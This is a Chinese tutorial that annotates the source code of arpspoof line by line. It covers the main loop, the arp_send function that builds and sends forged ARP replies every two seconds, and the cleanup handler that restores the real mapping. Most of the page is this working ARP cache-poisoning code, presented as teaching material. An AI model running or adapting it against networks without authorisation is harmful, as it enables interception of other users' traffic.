arpspoof原理分析 源碼分析


從main函數開始

首先大家不要慌,我加了無數注釋,這個工具的代碼也不過400行而已。首先我們看一下main函數:

為了避免大家看起來太緊張,我在源碼的注釋中加了詳細的講解,方便基礎薄弱的同學理解:

 1 int main(int argc, char *argv[])
 2 {
 3        int c;
 4        char ebuf[PCAP_ERRBUF_SIZE];
 5        intf = NULL;
 6        spoof_ip = target_ip = 0;
 7  
 8  /**
 9       關於getopt這個函數我想做如下解釋大家就可以讀懂下面的函數的具體意思了:
10       1.getopt的用途:用於專門處理函數參數的。
11       2.getopt的用法:argc與argv直接是從main的參數中拿下來的,第三個參數描述了整個程序參數的命令要求
12                     具體的用法我們可以先理解為要求i,t這兩個參數必須有值
13                     然后有具體值得參數會把值付給全局變量optarg,這樣我們就能理解下面的while循環中的操作了
14  */
15        while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
16  
17               switch (c) {
18  
19               case 'i':
20                      intf = optarg;
21                      break;
22               case 't':
23 /*
24        libnet_name_resolve是解析域名,然后把域名解析的結果形成ip地址返回到target_ip
25 */
26                      if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
27                             usage();
28                      break;
29               default:
30                      usage();
31  
32               }
33  
34        }
35       
36        argc -= optind;
37        argv += optind;
38  
39        if (argc != 1)
40               usage();
41  
42        if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
43               usage();
44  
45       /*
46       pcap_lookupdev 顧名思義這個pcap庫中的函數是用來尋找本機的可用網絡設備。
47       下面的if語句是將如果intf(-i的參數為空就調用pcap_lookupdev來尋找本機的網絡設備)      
48       ebuf就是error_buf用來存儲錯誤信息
49       */
50        if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
51               errx(1, "%s", ebuf);
52  
53  /*
54  libnet_open_link_interface這個函數存在於libnet庫中,作用是打開intf指向的網絡鏈路設備
55  錯誤信息存入ebuf中。
56  */
57        if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
58               errx(1, "%s", ebuf);
59  
60  /*
61  下面語句的意思是如果target_ip為0或者是arp_find沒有成功找到target_ip
62  那么提示錯誤
63  */
64        if (target_ip != 0 && !arp_find(target_ip, &target_mac))
65               errx(1, "couldn't arp for host %s",
66      libnet_host_lookup(target_ip, 0));
67  
68  //這里關於信號的處理問題如果大家不是太清楚的話也可以跳過,
69  //有興趣的朋友,可以深入了解一下,因為這里不是本文重點,就不再贅述了
70        signal(SIGHUP, cleanup);
71        signal(SIGINT, cleanup);
72        signal(SIGTERM, cleanup);
73  
74        for (;;) {
75              /*
76                     在這個for的循環里我們看到了我們希望看到的核心模塊
77       arp_send大家一看這個函數便知道這個函數是用來發送偽造的arp數據包的,關於這個函數具體的用法我們稍后將會討論
78               */   
79               arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
80                     (target_ip ? (u_char *)&target_mac : NULL),
81                     target_ip);
82               sleep(2);
83  
84        }
85 /* NOTREACHED */
86  
87        exit(0);
88  
89 }

看了main函數里面的各種東西,我們發現並沒有什么玄機,其實就是很簡單的編程,具體的函數講解都在注釋中寫出來了。

核心函數的登場

接下來我們就看一下他是如何實現發送arp包的,其實知道大家看了源代碼以后就知道,這真的沒有什么技術含量

  1 /**
  2       這里是我們發送arp包的核心實現
  3       我先來介紹一下這個函數的參數方便大家理解
  4       參數一:libnet鏈路層接口,通過這個接口可以操作鏈路層
  5       參數二:本機的網卡設備intf(由-i指定或者pcap_lookupdev來獲取)
  6       參數三:arpop,來指定arp包的操作
  7       參數四:本機硬件地址
  8       參數五:本機ip
  9       參數六:目標硬件地址
 10       參數七:目標ip
 11  */
 12 int arp_send(struct libnet_link_int *llif, char *dev,
 13  int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
 14 {
 15  
 16        char ebuf[128];
 17        u_char pkt[60];
 18  
 19  /*
 20  這里來通過鏈路層和網卡來獲取dev對應的mac地址*/
 21        if (sha == NULL &&
 22     (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
 23  
 24               return (-1);
 25  
 26        }
 27        /*
 28        這里通過鏈路層和網卡來獲取dev對應的ip地址
 29        */
 30  
 31        if (spa == 0) {
 32  
 33               if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
 34                      return (-1);
 35               spa = htonl(spa); /* XXX */
 36  
 37        }
 38       
 39        /*
 40        如果目標mac沒有的話就被賦值為\xff\xff\xff\xff\xff\xff
 41        */
 42        if (tha == NULL)
 43               tha = "\xff\xff\xff\xff\xff\xff";
 44  
 45  /*
 46 libnet_ptag_t libnet_build_ethernet(
 47 u_int8_t*dst, u_int8_t *src,
 48 u_int16_ttype, u_int8_t*payload,
 49 u_int32_tpayload_s, libnet_t*l,
 50 libnet_ptag_t ptag )
 51 功能:
 52 構造一個以太網數據包
 53 參數:
 54 dst:目的 mac
 55 src:源 mac
 56 type:上層協議類型
 57 payload:負載,即附帶的數據,可設置為 NULL(這里通常寫 NULL)
 58 payload_s:負載長度,或為 0(這里通常寫 0 )
 59 l:libnet 句柄,libnet_init() 返回的 libnet * 指針
 60 ptag:協議標記,第一次組新的發送包時,這里寫 0,同一個應用程序,下一次再組包時,這個位置的值寫此函數的返回值。
 61 返回值:
 62 成功:協議標記
 63 失敗:-1
 64  */
 65        libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);
 66  /*
 67  libnet_ptag_t libnet_build_arp(
 68 u_int16_t hrd, u_int16_t pro,
 69 u_int8_t hln, u_int8_t pln,
 70 u_int16_t op, u_int8_t *sha,
 71 u_int8_t *spa, u_int8_t *tha,
 72 u_int8_t *tpa, u_int8_t *payload,
 73 u_int32_t payload_s, libnet_t *l,
 74 libnet_ptag_t ptag )
 75 功能:
 76 構造 arp 數據包 
 77 參數: 
 78 hrd:硬件地址格式,ARPHRD_ETHER(以太網) 
 79 pro:協議地址格式,ETHERTYPE_IP( IP協議) 
 80 hln:硬件地址長度 
 81 pln:協議地址長度 
 82 op:ARP協議操作類型(1:ARP請求,2:ARP回應,3:RARP請求,4:RARP回應) 
 83 sha:發送者硬件地址 
 84 spa:發送者協議地址 
 85 tha:目標硬件地址 
 86 tpa:目標協議地址 
 87 payload:負載,可設置為 NULL(這里通常寫 NULL) 
 88 payload_s:負載長度,或為 0(這里通常寫 0 ) 
 89 l:libnet 句柄,libnet_init() 返回的 libnet * 指針 
 90 ptag:協議標記,第一次組新的發送包時,這里寫 0,同一個應用程序,下一次再組包時,這個位置的值寫此函數的返回值。 
 91 返回值: 
 92 成功:協議標記 
 93 失敗:-1
 94  */
 95        libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
 96              op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
 97              NULL, 0, pkt + ETH_H);
 98  
 99        fprintf(stderr, "%s ",
100        ether_ntoa((struct ether_addr *)sha));
101  
102  
103  
104  /*
105  下面的if和else是回顯處理(也就是大家能看到的部分
106  */
107        if (op == ARPOP_REQUEST) {
108  
109               fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
110                      ether_ntoa((struct ether_addr *)tha),
111                      libnet_host_lookup(tpa, 0),
112                      libnet_host_lookup(spa, 0));
113  
114        }
115        else {
116  
117               fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
118                      ether_ntoa((struct ether_addr *)tha),
119                      libnet_host_lookup(spa, 0));
120               fprintf(stderr, "%s\n",
121                      ether_ntoa((struct ether_addr *)sha));
122  
123        }
124        return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
125  
126 }

小尾巴

 1  /*
 2       下面我們發現掛載信號處理函數的都是cleanup函數,
 3       這個函數很好理解,就是在本機網絡設備存在的條件下把包再發三遍,
 4      
 5       但是為什么要這么做呢?似乎立即中斷也沒什么不合理,
 6       我想作者的意思就是總要給一個緩沖的時間啊
 7  
 8       我們再仔細觀察一下,在main的主循環中是sleep(2)
 9       在下面的循環中是sleep(1)
10      
11  */
12 void cleanup(int sig)
13 {
14  
15        int i;
16  
17        if (arp_find(spoof_ip, &spoof_mac)) {
18  
19               for (i = 0; i < 3; i++) {
20  
21 /* XXX - on BSD, requires ETHERSPOOF kernel. */
22  
23 /*上面這條注釋是源碼的作者加的,意思是說在BSD系統中需要ETHERSPOOF的第三方內核模塊*/
24                      arp_send(llif, intf, ARPOP_REPLY,
25                            (u_char *)&spoof_mac, spoof_ip,
26                            (target_ip ? (u_char *)&target_mac : NULL),
27                            target_ip);
28                      sleep(1);
29  
30               }
31  
32        }     
33        exit(0);
34  
35 }

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM